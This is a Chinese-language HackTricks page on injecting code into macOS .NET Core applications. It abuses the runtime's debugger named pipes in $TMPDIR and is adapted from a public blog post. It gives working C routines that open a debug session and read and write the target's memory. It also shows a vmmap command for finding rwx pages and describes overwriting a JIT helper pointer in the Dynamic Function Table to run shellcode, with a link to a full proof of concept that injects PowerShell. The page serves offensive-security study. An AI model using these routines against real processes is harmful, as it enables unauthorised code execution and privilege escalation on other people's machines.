hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

10 KiB
Raw Blame History

macOS .Net 应用程序注入

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

.NET Core 调试

建立调试会话

dbgtransportsession.cpp 负责处理调试器到被调试者的通信
它通过调用 twowaypipe.cpp#L27dbgtransportsession.cpp#L127 创建每个 .Net 进程的两个命名管道(一个以 -in 结尾,另一个以 -out 结尾,其余名称相同)。

因此,如果您转到用户的 $TMPDIR,您将能够找到可以用来调试 .Net 应用程序的调试 fifo

函数 DbgTransportSession::TransportWorker 将处理来自调试器的通信。

调试器需要做的第一件事是创建一个新的调试会话。这是通过通过 out 管道发送消息来完成的,消息以 MessageHeader 结构开始,我们可以从 .NET 源代码中获取:

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

在新会话请求的情况下,此结构体按如下方式填充:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

构建完成后,我们使用 write 系统调用将其发送给目标

write(wr, &sSendHeader, sizeof(MessageHeader));

遵循我们的标题,我们需要发送一个 sessionRequestData 结构体,其中包含一个 GUID 来识别我们的会话:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

在发送我们的会话请求后,我们out管道读取一个头部,该头部将指示我们的请求是否成功地建立了一个调试器会话:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

读取内存

在建立了调试会话后,可以使用消息类型 MT_ReadMemory读取内存。要读取一些内存,主要需要的代码将是:

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

概念验证POC代码可在此处找到。

写内存

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

POC 代码可以在这里找到。

.NET Core 代码执行

首先要做的是例如识别一个具有 rwx 权限的内存区域来保存要运行的 shellcode。这可以很容易地完成

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
然后,为了触发执行,需要知道存储函数指针的某个位置以便覆盖它。可以覆盖 **动态函数表DFT** 中的指针,.NET Core 运行时使用它来为 JIT 编译提供帮助函数。支持的函数指针列表可以在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中找到。

在 x64 版本中,使用 mimikatz 式的 **签名搜索** 技术来搜索 **`libcorclr.dll`** 中对符号 **`_hlpDynamicFuncTable`** 的引用是直接的,我们可以解引用:

<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>

剩下的就是找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数,**`MT_GetDCB`**。这返回了目标进程的许多有用信息,但对我们来说,我们感兴趣的是返回的包含 **帮助函数地址** 的字段,**`m_helperRemoteStartAddr`**。使用这个地址,我们就知道 **`libcorclr.dll`** 在目标进程内存中的位置,我们可以开始搜索 DFT。

知道这个地址后,就可以用我们的 shellcode 的指针覆盖函数指针。

用于注入 PowerShell 的完整 POC 代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。

## 参考资料

* 这项技术取自 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)

<details>

<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>

支持 HackTricks 的其他方式:

* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**

</details>